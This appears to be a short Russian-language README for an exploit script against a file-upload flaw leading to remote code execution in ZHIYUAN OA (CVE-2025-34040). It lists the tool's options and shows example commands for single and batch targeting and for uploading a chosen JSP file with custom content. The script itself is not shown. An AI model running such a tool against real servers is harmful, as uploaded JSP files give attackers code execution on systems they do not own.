В ZHIYUAN OA обнаружена уязвимость загрузки файлов, приводящая к RCE (CVE-2025-34040)

Параметры

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Введите URL для проверки
  -f FILE, --file FILE  Введите путь к файлу с URL (по одному на строку)
  -n FILENAME, --filename FILENAME
                        Введите имя файла (по умолчанию Hello.jsp):
  -c CONTENT, --content CONTENT
                        Введите содержимое загружаемого файла (по умолчанию HelloWord):

Примеры

Одиночный URL:
python .\CVE-2025-34040Exp.py -u URL
Пакетная проверка:
python .\CVE-2025-34040Exp.py -f urls.txt
Указать имя загружаемого файла:
python .\CVE-2025-34040Exp.py -u URL -n Hello.jsp
Указать содержимое загружаемого файла:
python .\CVE-2025-34040Exp.py -u URL -n Hello.jsp -c '<% out.println("123");%>'

CVE-2025-34040Exp

Популярное

В ZHIYUAN OA обнаружена уязвимость загрузки файлов, приводящая к RCE (CVE-2025-34040)